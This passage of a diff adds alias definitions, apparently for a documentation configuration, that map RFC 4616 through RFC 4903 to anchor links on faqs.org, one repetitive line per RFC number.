+                         "RFC4616=<a href=\"http://www.faqs.org/rfcs/rfc4616.html\">RFC 4616</a>" \
+                         "RFC4617=<a href=\"http://www.faqs.org/rfcs/rfc4617.html\">RFC 4617</a>" \
+                         "RFC4618=<a href=\"http://www.faqs.org/rfcs/rfc4618.html\">RFC 4618</a>" \
+                         "RFC4619=<a href=\"http://www.faqs.org/rfcs/rfc4619.html\">RFC 4619</a>" \
+                         "RFC4620=<a href=\"http://www.faqs.org/rfcs/rfc4620.html\">RFC 4620</a>" \
+                         "RFC4621=<a href=\"http://www.faqs.org/rfcs/rfc4621.html\">RFC 4621</a>" \
+                         "RFC4622=<a href=\"http://www.faqs.org/rfcs/rfc4622.html\">RFC 4622</a>" \
+                         "RFC4623=<a href=\"http://www.faqs.org/rfcs/rfc4623.html\">RFC 4623</a>" \
+                         "RFC4624=<a href=\"http://www.faqs.org/rfcs/rfc4624.html\">RFC 4624</a>" \
+                         "RFC4625=<a href=\"http://www.faqs.org/rfcs/rfc4625.html\">RFC 4625</a>" \
+                         "RFC4626=<a href=\"http://www.faqs.org/rfcs/rfc4626.html\">RFC 4626</a>" \
+                         "RFC4627=<a href=\"http://www.faqs.org/rfcs/rfc4627.html\">RFC 4627</a>" \
+                         "RFC4628=<a href=\"http://www.faqs.org/rfcs/rfc4628.html\">RFC 4628</a>" \
+                         "RFC4629=<a href=\"http://www.faqs.org/rfcs/rfc4629.html\">RFC 4629</a>" \
+                         "RFC4630=<a href=\"http://www.faqs.org/rfcs/rfc4630.html\">RFC 4630</a>" \
+                         "RFC4631=<a href=\"http://www.faqs.org/rfcs/rfc4631.html\">RFC 4631</a>" \
+                         "RFC4632=<a href=\"http://www.faqs.org/rfcs/rfc4632.html\">RFC 4632</a>" \
+                         "RFC4633=<a href=\"http://www.faqs.org/rfcs/rfc4633.html\">RFC 4633</a>" \
+                         "RFC4634=<a href=\"http://www.faqs.org/rfcs/rfc4634.html\">RFC 4634</a>" \
+                         "RFC4635=<a href=\"http://www.faqs.org/rfcs/rfc4635.html\">RFC 4635</a>" \
+                         "RFC4636=<a href=\"http://www.faqs.org/rfcs/rfc4636.html\">RFC 4636</a>" \
+                         "RFC4637=<a href=\"http://www.faqs.org/rfcs/rfc4637.html\">RFC 4637</a>" \
+                         "RFC4638=<a href=\"http://www.faqs.org/rfcs/rfc4638.html\">RFC 4638</a>" \
+                         "RFC4639=<a href=\"http://www.faqs.org/rfcs/rfc4639.html\">RFC 4639</a>" \
+                         "RFC4640=<a href=\"http://www.faqs.org/rfcs/rfc4640.html\">RFC 4640</a>" \
+                         "RFC4641=<a href=\"http://www.faqs.org/rfcs/rfc4641.html\">RFC 4641</a>" \
+                         "RFC4642=<a href=\"http://www.faqs.org/rfcs/rfc4642.html\">RFC 4642</a>" \
+                         "RFC4643=<a href=\"http://www.faqs.org/rfcs/rfc4643.html\">RFC 4643</a>" \
+                         "RFC4644=<a href=\"http://www.faqs.org/rfcs/rfc4644.html\">RFC 4644</a>" \
+                         "RFC4645=<a href=\"http://www.faqs.org/rfcs/rfc4645.html\">RFC 4645</a>" \
+                         "RFC4646=<a href=\"http://www.faqs.org/rfcs/rfc4646.html\">RFC 4646</a>" \
+                         "RFC4647=<a href=\"http://www.faqs.org/rfcs/rfc4647.html\">RFC 4647</a>" \
+                         "RFC4648=<a href=\"http://www.faqs.org/rfcs/rfc4648.html\">RFC 4648</a>" \
+                         "RFC4649=<a href=\"http://www.faqs.org/rfcs/rfc4649.html\">RFC 4649</a>" \
+                         "RFC4650=<a href=\"http://www.faqs.org/rfcs/rfc4650.html\">RFC 4650</a>" \
+                         "RFC4651=<a href=\"http://www.faqs.org/rfcs/rfc4651.html\">RFC 4651</a>" \
+                         "RFC4652=<a href=\"http://www.faqs.org/rfcs/rfc4652.html\">RFC 4652</a>" \
+                         "RFC4653=<a href=\"http://www.faqs.org/rfcs/rfc4653.html\">RFC 4653</a>" \
+                         "RFC4654=<a href=\"http://www.faqs.org/rfcs/rfc4654.html\">RFC 4654</a>" \
+                         "RFC4655=<a href=\"http://www.faqs.org/rfcs/rfc4655.html\">RFC 4655</a>" \
+                         "RFC4656=<a href=\"http://www.faqs.org/rfcs/rfc4656.html\">RFC 4656</a>" \
+                         "RFC4657=<a href=\"http://www.faqs.org/rfcs/rfc4657.html\">RFC 4657</a>" \
+                         "RFC4658=<a href=\"http://www.faqs.org/rfcs/rfc4658.html\">RFC 4658</a>" \
+                         "RFC4659=<a href=\"http://www.faqs.org/rfcs/rfc4659.html\">RFC 4659</a>" \
+                         "RFC4660=<a href=\"http://www.faqs.org/rfcs/rfc4660.html\">RFC 4660</a>" \
+                         "RFC4661=<a href=\"http://www.faqs.org/rfcs/rfc4661.html\">RFC 4661</a>" \
+                         "RFC4662=<a href=\"http://www.faqs.org/rfcs/rfc4662.html\">RFC 4662</a>" \
+                         "RFC4663=<a href=\"http://www.faqs.org/rfcs/rfc4663.html\">RFC 4663</a>" \
+                         "RFC4664=<a href=\"http://www.faqs.org/rfcs/rfc4664.html\">RFC 4664</a>" \
+                         "RFC4665=<a href=\"http://www.faqs.org/rfcs/rfc4665.html\">RFC 4665</a>" \
+                         "RFC4666=<a href=\"http://www.faqs.org/rfcs/rfc4666.html\">RFC 4666</a>" \
+                         "RFC4667=<a href=\"http://www.faqs.org/rfcs/rfc4667.html\">RFC 4667</a>" \
+                         "RFC4668=<a href=\"http://www.faqs.org/rfcs/rfc4668.html\">RFC 4668</a>" \
+                         "RFC4669=<a href=\"http://www.faqs.org/rfcs/rfc4669.html\">RFC 4669</a>" \
+                         "RFC4670=<a href=\"http://www.faqs.org/rfcs/rfc4670.html\">RFC 4670</a>" \
+                         "RFC4671=<a href=\"http://www.faqs.org/rfcs/rfc4671.html\">RFC 4671</a>" \
+                         "RFC4672=<a href=\"http://www.faqs.org/rfcs/rfc4672.html\">RFC 4672</a>" \
+                         "RFC4673=<a href=\"http://www.faqs.org/rfcs/rfc4673.html\">RFC 4673</a>" \
+                         "RFC4674=<a href=\"http://www.faqs.org/rfcs/rfc4674.html\">RFC 4674</a>" \
+                         "RFC4675=<a href=\"http://www.faqs.org/rfcs/rfc4675.html\">RFC 4675</a>" \
+                         "RFC4676=<a href=\"http://www.faqs.org/rfcs/rfc4676.html\">RFC 4676</a>" \
+                         "RFC4677=<a href=\"http://www.faqs.org/rfcs/rfc4677.html\">RFC 4677</a>" \
+                         "RFC4678=<a href=\"http://www.faqs.org/rfcs/rfc4678.html\">RFC 4678</a>" \
+                         "RFC4679=<a href=\"http://www.faqs.org/rfcs/rfc4679.html\">RFC 4679</a>" \
+                         "RFC4680=<a href=\"http://www.faqs.org/rfcs/rfc4680.html\">RFC 4680</a>" \
+                         "RFC4681=<a href=\"http://www.faqs.org/rfcs/rfc4681.html\">RFC 4681</a>" \
+                         "RFC4682=<a href=\"http://www.faqs.org/rfcs/rfc4682.html\">RFC 4682</a>" \
+                         "RFC4683=<a href=\"http://www.faqs.org/rfcs/rfc4683.html\">RFC 4683</a>" \
+                         "RFC4684=<a href=\"http://www.faqs.org/rfcs/rfc4684.html\">RFC 4684</a>" \
+                         "RFC4685=<a href=\"http://www.faqs.org/rfcs/rfc4685.html\">RFC 4685</a>" \
+                         "RFC4686=<a href=\"http://www.faqs.org/rfcs/rfc4686.html\">RFC 4686</a>" \
+                         "RFC4687=<a href=\"http://www.faqs.org/rfcs/rfc4687.html\">RFC 4687</a>" \
+                         "RFC4688=<a href=\"http://www.faqs.org/rfcs/rfc4688.html\">RFC 4688</a>" \
+                         "RFC4689=<a href=\"http://www.faqs.org/rfcs/rfc4689.html\">RFC 4689</a>" \
+                         "RFC4690=<a href=\"http://www.faqs.org/rfcs/rfc4690.html\">RFC 4690</a>" \
+                         "RFC4691=<a href=\"http://www.faqs.org/rfcs/rfc4691.html\">RFC 4691</a>" \
+                         "RFC4692=<a href=\"http://www.faqs.org/rfcs/rfc4692.html\">RFC 4692</a>" \
+                         "RFC4693=<a href=\"http://www.faqs.org/rfcs/rfc4693.html\">RFC 4693</a>" \
+                         "RFC4694=<a href=\"http://www.faqs.org/rfcs/rfc4694.html\">RFC 4694</a>" \
+                         "RFC4695=<a href=\"http://www.faqs.org/rfcs/rfc4695.html\">RFC 4695</a>" \
+                         "RFC4696=<a href=\"http://www.faqs.org/rfcs/rfc4696.html\">RFC 4696</a>" \
+                         "RFC4697=<a href=\"http://www.faqs.org/rfcs/rfc4697.html\">RFC 4697</a>" \
+                         "RFC4698=<a href=\"http://www.faqs.org/rfcs/rfc4698.html\">RFC 4698</a>" \
+                         "RFC4699=<a href=\"http://www.faqs.org/rfcs/rfc4699.html\">RFC 4699</a>" \
+                         "RFC4700=<a href=\"http://www.faqs.org/rfcs/rfc4700.html\">RFC 4700</a>" \
+                         "RFC4701=<a href=\"http://www.faqs.org/rfcs/rfc4701.html\">RFC 4701</a>" \
+                         "RFC4702=<a href=\"http://www.faqs.org/rfcs/rfc4702.html\">RFC 4702</a>" \
+                         "RFC4703=<a href=\"http://www.faqs.org/rfcs/rfc4703.html\">RFC 4703</a>" \
+                         "RFC4704=<a href=\"http://www.faqs.org/rfcs/rfc4704.html\">RFC 4704</a>" \
+                         "RFC4705=<a href=\"http://www.faqs.org/rfcs/rfc4705.html\">RFC 4705</a>" \
+                         "RFC4706=<a href=\"http://www.faqs.org/rfcs/rfc4706.html\">RFC 4706</a>" \
+                         "RFC4707=<a href=\"http://www.faqs.org/rfcs/rfc4707.html\">RFC 4707</a>" \
+                         "RFC4708=<a href=\"http://www.faqs.org/rfcs/rfc4708.html\">RFC 4708</a>" \
+                         "RFC4709=<a href=\"http://www.faqs.org/rfcs/rfc4709.html\">RFC 4709</a>" \
+                         "RFC4710=<a href=\"http://www.faqs.org/rfcs/rfc4710.html\">RFC 4710</a>" \
+                         "RFC4711=<a href=\"http://www.faqs.org/rfcs/rfc4711.html\">RFC 4711</a>" \
+                         "RFC4712=<a href=\"http://www.faqs.org/rfcs/rfc4712.html\">RFC 4712</a>" \
+                         "RFC4713=<a href=\"http://www.faqs.org/rfcs/rfc4713.html\">RFC 4713</a>" \
+                         "RFC4714=<a href=\"http://www.faqs.org/rfcs/rfc4714.html\">RFC 4714</a>" \
+                         "RFC4715=<a href=\"http://www.faqs.org/rfcs/rfc4715.html\">RFC 4715</a>" \
+                         "RFC4716=<a href=\"http://www.faqs.org/rfcs/rfc4716.html\">RFC 4716</a>" \
+                         "RFC4717=<a href=\"http://www.faqs.org/rfcs/rfc4717.html\">RFC 4717</a>" \
+                         "RFC4718=<a href=\"http://www.faqs.org/rfcs/rfc4718.html\">RFC 4718</a>" \
+                         "RFC4719=<a href=\"http://www.faqs.org/rfcs/rfc4719.html\">RFC 4719</a>" \
+                         "RFC4720=<a href=\"http://www.faqs.org/rfcs/rfc4720.html\">RFC 4720</a>" \
+                         "RFC4721=<a href=\"http://www.faqs.org/rfcs/rfc4721.html\">RFC 4721</a>" \
+                         "RFC4722=<a href=\"http://www.faqs.org/rfcs/rfc4722.html\">RFC 4722</a>" \
+                         "RFC4723=<a href=\"http://www.faqs.org/rfcs/rfc4723.html\">RFC 4723</a>" \
+                         "RFC4724=<a href=\"http://www.faqs.org/rfcs/rfc4724.html\">RFC 4724</a>" \
+                         "RFC4725=<a href=\"http://www.faqs.org/rfcs/rfc4725.html\">RFC 4725</a>" \
+                         "RFC4726=<a href=\"http://www.faqs.org/rfcs/rfc4726.html\">RFC 4726</a>" \
+                         "RFC4727=<a href=\"http://www.faqs.org/rfcs/rfc4727.html\">RFC 4727</a>" \
+                         "RFC4728=<a href=\"http://www.faqs.org/rfcs/rfc4728.html\">RFC 4728</a>" \
+                         "RFC4729=<a href=\"http://www.faqs.org/rfcs/rfc4729.html\">RFC 4729</a>" \
+                         "RFC4730=<a href=\"http://www.faqs.org/rfcs/rfc4730.html\">RFC 4730</a>" \
+                         "RFC4731=<a href=\"http://www.faqs.org/rfcs/rfc4731.html\">RFC 4731</a>" \
+                         "RFC4732=<a href=\"http://www.faqs.org/rfcs/rfc4732.html\">RFC 4732</a>" \
+                         "RFC4733=<a href=\"http://www.faqs.org/rfcs/rfc4733.html\">RFC 4733</a>" \
+                         "RFC4734=<a href=\"http://www.faqs.org/rfcs/rfc4734.html\">RFC 4734</a>" \
+                         "RFC4735=<a href=\"http://www.faqs.org/rfcs/rfc4735.html\">RFC 4735</a>" \
+                         "RFC4736=<a href=\"http://www.faqs.org/rfcs/rfc4736.html\">RFC 4736</a>" \
+                         "RFC4737=<a href=\"http://www.faqs.org/rfcs/rfc4737.html\">RFC 4737</a>" \
+                         "RFC4738=<a href=\"http://www.faqs.org/rfcs/rfc4738.html\">RFC 4738</a>" \
+                         "RFC4739=<a href=\"http://www.faqs.org/rfcs/rfc4739.html\">RFC 4739</a>" \
+                         "RFC4740=<a href=\"http://www.faqs.org/rfcs/rfc4740.html\">RFC 4740</a>" \
+                         "RFC4741=<a href=\"http://www.faqs.org/rfcs/rfc4741.html\">RFC 4741</a>" \
+                         "RFC4742=<a href=\"http://www.faqs.org/rfcs/rfc4742.html\">RFC 4742</a>" \
+                         "RFC4743=<a href=\"http://www.faqs.org/rfcs/rfc4743.html\">RFC 4743</a>" \
+                         "RFC4744=<a href=\"http://www.faqs.org/rfcs/rfc4744.html\">RFC 4744</a>" \
+                         "RFC4745=<a href=\"http://www.faqs.org/rfcs/rfc4745.html\">RFC 4745</a>" \
+                         "RFC4746=<a href=\"http://www.faqs.org/rfcs/rfc4746.html\">RFC 4746</a>" \
+                         "RFC4747=<a href=\"http://www.faqs.org/rfcs/rfc4747.html\">RFC 4747</a>" \
+                         "RFC4748=<a href=\"http://www.faqs.org/rfcs/rfc4748.html\">RFC 4748</a>" \
+                         "RFC4749=<a href=\"http://www.faqs.org/rfcs/rfc4749.html\">RFC 4749</a>" \
+                         "RFC4750=<a href=\"http://www.faqs.org/rfcs/rfc4750.html\">RFC 4750</a>" \
+                         "RFC4751=<a href=\"http://www.faqs.org/rfcs/rfc4751.html\">RFC 4751</a>" \
+                         "RFC4752=<a href=\"http://www.faqs.org/rfcs/rfc4752.html\">RFC 4752</a>" \
+                         "RFC4753=<a href=\"http://www.faqs.org/rfcs/rfc4753.html\">RFC 4753</a>" \
+                         "RFC4754=<a href=\"http://www.faqs.org/rfcs/rfc4754.html\">RFC 4754</a>" \
+                         "RFC4755=<a href=\"http://www.faqs.org/rfcs/rfc4755.html\">RFC 4755</a>" \
+                         "RFC4756=<a href=\"http://www.faqs.org/rfcs/rfc4756.html\">RFC 4756</a>" \
+                         "RFC4757=<a href=\"http://www.faqs.org/rfcs/rfc4757.html\">RFC 4757</a>" \
+                         "RFC4758=<a href=\"http://www.faqs.org/rfcs/rfc4758.html\">RFC 4758</a>" \
+                         "RFC4759=<a href=\"http://www.faqs.org/rfcs/rfc4759.html\">RFC 4759</a>" \
+                         "RFC4760=<a href=\"http://www.faqs.org/rfcs/rfc4760.html\">RFC 4760</a>" \
+                         "RFC4761=<a href=\"http://www.faqs.org/rfcs/rfc4761.html\">RFC 4761</a>" \
+                         "RFC4762=<a href=\"http://www.faqs.org/rfcs/rfc4762.html\">RFC 4762</a>" \
+                         "RFC4763=<a href=\"http://www.faqs.org/rfcs/rfc4763.html\">RFC 4763</a>" \
+                         "RFC4764=<a href=\"http://www.faqs.org/rfcs/rfc4764.html\">RFC 4764</a>" \
+                         "RFC4765=<a href=\"http://www.faqs.org/rfcs/rfc4765.html\">RFC 4765</a>" \
+                         "RFC4766=<a href=\"http://www.faqs.org/rfcs/rfc4766.html\">RFC 4766</a>" \
+                         "RFC4767=<a href=\"http://www.faqs.org/rfcs/rfc4767.html\">RFC 4767</a>" \
+                         "RFC4768=<a href=\"http://www.faqs.org/rfcs/rfc4768.html\">RFC 4768</a>" \
+                         "RFC4769=<a href=\"http://www.faqs.org/rfcs/rfc4769.html\">RFC 4769</a>" \
+                         "RFC4770=<a href=\"http://www.faqs.org/rfcs/rfc4770.html\">RFC 4770</a>" \
+                         "RFC4771=<a href=\"http://www.faqs.org/rfcs/rfc4771.html\">RFC 4771</a>" \
+                         "RFC4772=<a href=\"http://www.faqs.org/rfcs/rfc4772.html\">RFC 4772</a>" \
+                         "RFC4773=<a href=\"http://www.faqs.org/rfcs/rfc4773.html\">RFC 4773</a>" \
+                         "RFC4774=<a href=\"http://www.faqs.org/rfcs/rfc4774.html\">RFC 4774</a>" \
+                         "RFC4775=<a href=\"http://www.faqs.org/rfcs/rfc4775.html\">RFC 4775</a>" \
+                         "RFC4776=<a href=\"http://www.faqs.org/rfcs/rfc4776.html\">RFC 4776</a>" \
+                         "RFC4777=<a href=\"http://www.faqs.org/rfcs/rfc4777.html\">RFC 4777</a>" \
+                         "RFC4778=<a href=\"http://www.faqs.org/rfcs/rfc4778.html\">RFC 4778</a>" \
+                         "RFC4779=<a href=\"http://www.faqs.org/rfcs/rfc4779.html\">RFC 4779</a>" \
+                         "RFC4780=<a href=\"http://www.faqs.org/rfcs/rfc4780.html\">RFC 4780</a>" \
+                         "RFC4781=<a href=\"http://www.faqs.org/rfcs/rfc4781.html\">RFC 4781</a>" \
+                         "RFC4782=<a href=\"http://www.faqs.org/rfcs/rfc4782.html\">RFC 4782</a>" \
+                         "RFC4783=<a href=\"http://www.faqs.org/rfcs/rfc4783.html\">RFC 4783</a>" \
+                         "RFC4784=<a href=\"http://www.faqs.org/rfcs/rfc4784.html\">RFC 4784</a>" \
+                         "RFC4785=<a href=\"http://www.faqs.org/rfcs/rfc4785.html\">RFC 4785</a>" \
+                         "RFC4786=<a href=\"http://www.faqs.org/rfcs/rfc4786.html\">RFC 4786</a>" \
+                         "RFC4787=<a href=\"http://www.faqs.org/rfcs/rfc4787.html\">RFC 4787</a>" \
+                         "RFC4788=<a href=\"http://www.faqs.org/rfcs/rfc4788.html\">RFC 4788</a>" \
+                         "RFC4789=<a href=\"http://www.faqs.org/rfcs/rfc4789.html\">RFC 4789</a>" \
+                         "RFC4790=<a href=\"http://www.faqs.org/rfcs/rfc4790.html\">RFC 4790</a>" \
+                         "RFC4791=<a href=\"http://www.faqs.org/rfcs/rfc4791.html\">RFC 4791</a>" \
+                         "RFC4792=<a href=\"http://www.faqs.org/rfcs/rfc4792.html\">RFC 4792</a>" \
+                         "RFC4793=<a href=\"http://www.faqs.org/rfcs/rfc4793.html\">RFC 4793</a>" \
+                         "RFC4794=<a href=\"http://www.faqs.org/rfcs/rfc4794.html\">RFC 4794</a>" \
+                         "RFC4795=<a href=\"http://www.faqs.org/rfcs/rfc4795.html\">RFC 4795</a>" \
+                         "RFC4796=<a href=\"http://www.faqs.org/rfcs/rfc4796.html\">RFC 4796</a>" \
+                         "RFC4797=<a href=\"http://www.faqs.org/rfcs/rfc4797.html\">RFC 4797</a>" \
+                         "RFC4798=<a href=\"http://www.faqs.org/rfcs/rfc4798.html\">RFC 4798</a>" \
+                         "RFC4799=<a href=\"http://www.faqs.org/rfcs/rfc4799.html\">RFC 4799</a>" \
+                         "RFC4800=<a href=\"http://www.faqs.org/rfcs/rfc4800.html\">RFC 4800</a>" \
+                         "RFC4801=<a href=\"http://www.faqs.org/rfcs/rfc4801.html\">RFC 4801</a>" \
+                         "RFC4802=<a href=\"http://www.faqs.org/rfcs/rfc4802.html\">RFC 4802</a>" \
+                         "RFC4803=<a href=\"http://www.faqs.org/rfcs/rfc4803.html\">RFC 4803</a>" \
+                         "RFC4804=<a href=\"http://www.faqs.org/rfcs/rfc4804.html\">RFC 4804</a>" \
+                         "RFC4805=<a href=\"http://www.faqs.org/rfcs/rfc4805.html\">RFC 4805</a>" \
+                         "RFC4806=<a href=\"http://www.faqs.org/rfcs/rfc4806.html\">RFC 4806</a>" \
+                         "RFC4807=<a href=\"http://www.faqs.org/rfcs/rfc4807.html\">RFC 4807</a>" \
+                         "RFC4808=<a href=\"http://www.faqs.org/rfcs/rfc4808.html\">RFC 4808</a>" \
+                         "RFC4809=<a href=\"http://www.faqs.org/rfcs/rfc4809.html\">RFC 4809</a>" \
+                         "RFC4810=<a href=\"http://www.faqs.org/rfcs/rfc4810.html\">RFC 4810</a>" \
+                         "RFC4811=<a href=\"http://www.faqs.org/rfcs/rfc4811.html\">RFC 4811</a>" \
+                         "RFC4812=<a href=\"http://www.faqs.org/rfcs/rfc4812.html\">RFC 4812</a>" \
+                         "RFC4813=<a href=\"http://www.faqs.org/rfcs/rfc4813.html\">RFC 4813</a>" \
+                         "RFC4814=<a href=\"http://www.faqs.org/rfcs/rfc4814.html\">RFC 4814</a>" \
+                         "RFC4815=<a href=\"http://www.faqs.org/rfcs/rfc4815.html\">RFC 4815</a>" \
+                         "RFC4816=<a href=\"http://www.faqs.org/rfcs/rfc4816.html\">RFC 4816</a>" \
+                         "RFC4817=<a href=\"http://www.faqs.org/rfcs/rfc4817.html\">RFC 4817</a>" \
+                         "RFC4818=<a href=\"http://www.faqs.org/rfcs/rfc4818.html\">RFC 4818</a>" \
+                         "RFC4819=<a href=\"http://www.faqs.org/rfcs/rfc4819.html\">RFC 4819</a>" \
+                         "RFC4820=<a href=\"http://www.faqs.org/rfcs/rfc4820.html\">RFC 4820</a>" \
+                         "RFC4821=<a href=\"http://www.faqs.org/rfcs/rfc4821.html\">RFC 4821</a>" \
+                         "RFC4822=<a href=\"http://www.faqs.org/rfcs/rfc4822.html\">RFC 4822</a>" \
+                         "RFC4823=<a href=\"http://www.faqs.org/rfcs/rfc4823.html\">RFC 4823</a>" \
+                         "RFC4824=<a href=\"http://www.faqs.org/rfcs/rfc4824.html\">RFC 4824</a>" \
+                         "RFC4825=<a href=\"http://www.faqs.org/rfcs/rfc4825.html\">RFC 4825</a>" \
+                         "RFC4826=<a href=\"http://www.faqs.org/rfcs/rfc4826.html\">RFC 4826</a>" \
+                         "RFC4827=<a href=\"http://www.faqs.org/rfcs/rfc4827.html\">RFC 4827</a>" \
+                         "RFC4828=<a href=\"http://www.faqs.org/rfcs/rfc4828.html\">RFC 4828</a>" \
+                         "RFC4829=<a href=\"http://www.faqs.org/rfcs/rfc4829.html\">RFC 4829</a>" \
+                         "RFC4830=<a href=\"http://www.faqs.org/rfcs/rfc4830.html\">RFC 4830</a>" \
+                         "RFC4831=<a href=\"http://www.faqs.org/rfcs/rfc4831.html\">RFC 4831</a>" \
+                         "RFC4832=<a href=\"http://www.faqs.org/rfcs/rfc4832.html\">RFC 4832</a>" \
+                         "RFC4833=<a href=\"http://www.faqs.org/rfcs/rfc4833.html\">RFC 4833</a>" \
+                         "RFC4834=<a href=\"http://www.faqs.org/rfcs/rfc4834.html\">RFC 4834</a>" \
+                         "RFC4835=<a href=\"http://www.faqs.org/rfcs/rfc4835.html\">RFC 4835</a>" \
+                         "RFC4836=<a href=\"http://www.faqs.org/rfcs/rfc4836.html\">RFC 4836</a>" \
+                         "RFC4837=<a href=\"http://www.faqs.org/rfcs/rfc4837.html\">RFC 4837</a>" \
+                         "RFC4838=<a href=\"http://www.faqs.org/rfcs/rfc4838.html\">RFC 4838</a>" \
+                         "RFC4839=<a href=\"http://www.faqs.org/rfcs/rfc4839.html\">RFC 4839</a>" \
+                         "RFC4840=<a href=\"http://www.faqs.org/rfcs/rfc4840.html\">RFC 4840</a>" \
+                         "RFC4841=<a href=\"http://www.faqs.org/rfcs/rfc4841.html\">RFC 4841</a>" \
+                         "RFC4842=<a href=\"http://www.faqs.org/rfcs/rfc4842.html\">RFC 4842</a>" \
+                         "RFC4843=<a href=\"http://www.faqs.org/rfcs/rfc4843.html\">RFC 4843</a>" \
+                         "RFC4844=<a href=\"http://www.faqs.org/rfcs/rfc4844.html\">RFC 4844</a>" \
+                         "RFC4845=<a href=\"http://www.faqs.org/rfcs/rfc4845.html\">RFC 4845</a>" \
+                         "RFC4846=<a href=\"http://www.faqs.org/rfcs/rfc4846.html\">RFC 4846</a>" \
+                         "RFC4847=<a href=\"http://www.faqs.org/rfcs/rfc4847.html\">RFC 4847</a>" \
+                         "RFC4848=<a href=\"http://www.faqs.org/rfcs/rfc4848.html\">RFC 4848</a>" \
+                         "RFC4849=<a href=\"http://www.faqs.org/rfcs/rfc4849.html\">RFC 4849</a>" \
+                         "RFC4850=<a href=\"http://www.faqs.org/rfcs/rfc4850.html\">RFC 4850</a>" \
+                         "RFC4851=<a href=\"http://www.faqs.org/rfcs/rfc4851.html\">RFC 4851</a>" \
+                         "RFC4852=<a href=\"http://www.faqs.org/rfcs/rfc4852.html\">RFC 4852</a>" \
+                         "RFC4853=<a href=\"http://www.faqs.org/rfcs/rfc4853.html\">RFC 4853</a>" \
+                         "RFC4854=<a href=\"http://www.faqs.org/rfcs/rfc4854.html\">RFC 4854</a>" \
+                         "RFC4855=<a href=\"http://www.faqs.org/rfcs/rfc4855.html\">RFC 4855</a>" \
+                         "RFC4856=<a href=\"http://www.faqs.org/rfcs/rfc4856.html\">RFC 4856</a>" \
+                         "RFC4857=<a href=\"http://www.faqs.org/rfcs/rfc4857.html\">RFC 4857</a>" \
+                         "RFC4858=<a href=\"http://www.faqs.org/rfcs/rfc4858.html\">RFC 4858</a>" \
+                         "RFC4859=<a href=\"http://www.faqs.org/rfcs/rfc4859.html\">RFC 4859</a>" \
+                         "RFC4860=<a href=\"http://www.faqs.org/rfcs/rfc4860.html\">RFC 4860</a>" \
+                         "RFC4861=<a href=\"http://www.faqs.org/rfcs/rfc4861.html\">RFC 4861</a>" \
+                         "RFC4862=<a href=\"http://www.faqs.org/rfcs/rfc4862.html\">RFC 4862</a>" \
+                         "RFC4863=<a href=\"http://www.faqs.org/rfcs/rfc4863.html\">RFC 4863</a>" \
+                         "RFC4864=<a href=\"http://www.faqs.org/rfcs/rfc4864.html\">RFC 4864</a>" \
+                         "RFC4865=<a href=\"http://www.faqs.org/rfcs/rfc4865.html\">RFC 4865</a>" \
+                         "RFC4866=<a href=\"http://www.faqs.org/rfcs/rfc4866.html\">RFC 4866</a>" \
+                         "RFC4867=<a href=\"http://www.faqs.org/rfcs/rfc4867.html\">RFC 4867</a>" \
+                         "RFC4868=<a href=\"http://www.faqs.org/rfcs/rfc4868.html\">RFC 4868</a>" \
+                         "RFC4869=<a href=\"http://www.faqs.org/rfcs/rfc4869.html\">RFC 4869</a>" \
+                         "RFC4870=<a href=\"http://www.faqs.org/rfcs/rfc4870.html\">RFC 4870</a>" \
+                         "RFC4871=<a href=\"http://www.faqs.org/rfcs/rfc4871.html\">RFC 4871</a>" \
+                         "RFC4872=<a href=\"http://www.faqs.org/rfcs/rfc4872.html\">RFC 4872</a>" \
+                         "RFC4873=<a href=\"http://www.faqs.org/rfcs/rfc4873.html\">RFC 4873</a>" \
+                         "RFC4874=<a href=\"http://www.faqs.org/rfcs/rfc4874.html\">RFC 4874</a>" \
+                         "RFC4875=<a href=\"http://www.faqs.org/rfcs/rfc4875.html\">RFC 4875</a>" \
+                         "RFC4876=<a href=\"http://www.faqs.org/rfcs/rfc4876.html\">RFC 4876</a>" \
+                         "RFC4877=<a href=\"http://www.faqs.org/rfcs/rfc4877.html\">RFC 4877</a>" \
+                         "RFC4878=<a href=\"http://www.faqs.org/rfcs/rfc4878.html\">RFC 4878</a>" \
+                         "RFC4879=<a href=\"http://www.faqs.org/rfcs/rfc4879.html\">RFC 4879</a>" \
+                         "RFC4880=<a href=\"http://www.faqs.org/rfcs/rfc4880.html\">RFC 4880</a>" \
+                         "RFC4881=<a href=\"http://www.faqs.org/rfcs/rfc4881.html\">RFC 4881</a>" \
+                         "RFC4882=<a href=\"http://www.faqs.org/rfcs/rfc4882.html\">RFC 4882</a>" \
+                         "RFC4883=<a href=\"http://www.faqs.org/rfcs/rfc4883.html\">RFC 4883</a>" \
+                         "RFC4884=<a href=\"http://www.faqs.org/rfcs/rfc4884.html\">RFC 4884</a>" \
+                         "RFC4885=<a href=\"http://www.faqs.org/rfcs/rfc4885.html\">RFC 4885</a>" \
+                         "RFC4886=<a href=\"http://www.faqs.org/rfcs/rfc4886.html\">RFC 4886</a>" \
+                         "RFC4887=<a href=\"http://www.faqs.org/rfcs/rfc4887.html\">RFC 4887</a>" \
+                         "RFC4888=<a href=\"http://www.faqs.org/rfcs/rfc4888.html\">RFC 4888</a>" \
+                         "RFC4889=<a href=\"http://www.faqs.org/rfcs/rfc4889.html\">RFC 4889</a>" \
+                         "RFC4890=<a href=\"http://www.faqs.org/rfcs/rfc4890.html\">RFC 4890</a>" \
+                         "RFC4891=<a href=\"http://www.faqs.org/rfcs/rfc4891.html\">RFC 4891</a>" \
+                         "RFC4892=<a href=\"http://www.faqs.org/rfcs/rfc4892.html\">RFC 4892</a>" \
+                         "RFC4893=<a href=\"http://www.faqs.org/rfcs/rfc4893.html\">RFC 4893</a>" \
+                         "RFC4894=<a href=\"http://www.faqs.org/rfcs/rfc4894.html\">RFC 4894</a>" \
+                         "RFC4895=<a href=\"http://www.faqs.org/rfcs/rfc4895.html\">RFC 4895</a>" \
+                         "RFC4896=<a href=\"http://www.faqs.org/rfcs/rfc4896.html\">RFC 4896</a>" \
+                         "RFC4897=<a href=\"http://www.faqs.org/rfcs/rfc4897.html\">RFC 4897</a>" \
+                         "RFC4898=<a href=\"http://www.faqs.org/rfcs/rfc4898.html\">RFC 4898</a>" \
+                         "RFC4899=<a href=\"http://www.faqs.org/rfcs/rfc4899.html\">RFC 4899</a>" \
+                         "RFC4900=<a href=\"http://www.faqs.org/rfcs/rfc4900.html\">RFC 4900</a>" \
+                         "RFC4901=<a href=\"http://www.faqs.org/rfcs/rfc4901.html\">RFC 4901</a>" \
+                         "RFC4902=<a href=\"http://www.faqs.org/rfcs/rfc4902.html\">RFC 4902</a>" \
+                         "RFC4903=<a href=\"http://www.faqs.org/rfcs/rfc4903.html\">RFC 4903</a>" \
